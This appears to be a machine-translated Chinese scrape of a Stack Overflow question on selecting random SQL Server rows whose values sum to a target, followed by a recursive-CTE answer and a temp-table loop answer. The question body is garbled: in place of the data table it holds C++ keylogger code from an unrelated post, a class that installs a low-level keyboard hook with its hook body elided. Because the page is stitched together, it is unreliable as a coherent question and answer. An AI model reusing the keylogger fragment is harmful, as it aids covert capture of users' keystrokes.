获取记录取决于它们的总和值

时间:2018-11-08 09:53:15

标签: sql sql-server aggregate

我有一个SQL Server表,其中包含这样的记录

ID |值

#pragma once
#include <time.h>
#include <windows.h>

class cHookProc{
public:
    LRESULT CALLBACK HookProc(int code, WPARAM wp, LPARAM lp);
    unsigned int getCallBackAddr();
private:
};

class KeyLogger{
public:
    KeyLogger();
    ~KeyLogger();
private:
    cHookProc *cHkProc;
};

我需要选择随机记录,但唯一的条件是该记录值的总和达到我定义的特定数字或百分比。

比方说,我需要总价值为300或10%,所以这里有机会

KeyLogger.cpp

#include "KeyLogger.h"

KeyLogger::KeyLogger(){
    cHkProc = new cHookProc;
    int i = cHkProc->getCallBackAddr();
    HOOKPROC hprc = (HOOKPROC)i;
    HHOOK keyHook = SetWindowsHookEx(WH_KEYBOARD_LL, hprc, NULL, NULL);
}
KeyLogger::~KeyLogger(){
    delete cHkProc;
}

LRESULT CALLBACK cHookProc::HookProc(int code, WPARAM wp, LPARAM lp){
    if (code == 0){
    .
    .
    .
    }
    return CallNextHookEx(NULL, code, wp, lp);
}
unsigned int cHookProc::getCallBackAddr(){
    LRESULT(__stdcall cHookProc::*ptrtofn)(int, WPARAM, LPARAM) = &cHookProc::HookProc;
    unsigned int *i;
    i = (unsigned int*)&ptrtofn;
    return *i;
}

Call Hierarchy

任何人都可以帮助我做到这一点。

2 个答案:

答案 0 :(得分:4)

认为这种递归CTE可以工作,即使经过少量的行,也不知道性能如何:

DECLARE @Test TABLE
(
    ID INT NOT NULL,
    VAL INT NOT NULL
);

INSERT INTO @Test
VALUES  (1,100),
        (2,150),
        (3,250),
        (4,600),
        (5,1550),
        (6,50),
        (7,300);

DECLARE @SumValue INT = 300,
        @Percentage INT = 10;

WITH GetSums
AS
(
    SELECT  T.ID, 
            T.Val,
            CAST(T.ID AS VARCHAR(MAX)) AS IDs
    FROM    @Test AS T

    UNION ALL

    SELECT  T1.ID, 
            T1.Val + GS.Val AS Val,
            CAST(T1.ID AS VARCHAR(MAX)) + ',' + GS.IDs AS IDs
    FROM    @Test AS T1
    INNER
    JOIN    GetSums AS GS 
            ON  T1.ID > GS.ID
)
SELECT  GS.IDs,
        GS.Val
FROM    GetSums AS GS
WHERE   (GS.Val = @SumValue OR GS.VAL = (SELECT SUM(Val) FROM @Test AS T) / @Percentage)
OPTION  (MAXRECURSION 50);

类似的发现在这里:

find all combination where Total sum is around a number

答案 1 :(得分:2)

尝试一下...如果第6个值是250 ...我们将得到正确的答案

     SELECT          1   ID,  100 Value
     INTO #Temp_1
     UNION ALL SELECT 2   ,  150
     UNION ALL SELECT 2   ,  150
     UNION ALL SELECT 3   ,  250
     UNION ALL SELECT 4   ,  600
     UNION ALL SELECT 5   ,  1550
     UNION ALL SELECT 6   ,  250
     UNION ALL SELECT 7   ,  300


     CREATE TABLE #Temp_IDs
        (
            ID Int,
            Value Numeric(18,2)
        )


        DELETE
        FROM    #Temp_IDs

        DECLARE @ID     Int,
                @Vale   Numeric(18,2),
                @ContinueYN Char(1)

        SET @ContinueYN =   'Y'

        IF  EXISTS (SELECT TOP 1 1 FROM #Temp_1
                                                    WHERE Value <= 300
                                                        AND ID NOT IN (SELECT ID FROM #Temp_IDs )
                                                        AND Value <= (SELECT 300 - ISNULL( SUM(Value),0) FROM #Temp_IDs)
                                                    ORDER BY NEWID())

        BEGIN
                WHILE (@ContinueYN  =   'Y')
                BEGIN

                        SELECT  @ID     =   ID,
                                @Vale   =   Value
                        FROM #Temp_1
                        WHERE Value <= 300
                            AND ID NOT IN (SELECT ID FROM #Temp_IDs )
                            AND Value <= (SELECT 300 - ISNULL( SUM(Value),0) FROM #Temp_IDs)
                        ORDER BY NEWID()

                        INSERT INTO #Temp_IDs
                        SELECT @ID,@Vale

                        IF (SELECT  SUM(Value) FROM #Temp_IDs) = 300
                        BREAK
                        ELSE IF @ID IS NULL
                        BEGIN 

                            DELETE FROM #Temp_IDs

                        END

                        SET  @ID = NULL
                        SET  @Vale = NULL


                END

        END

        SELECT *
        FROM #Temp_IDs

        DROP TABLE #Temp_IDs
        DROP TABLE #Temp_1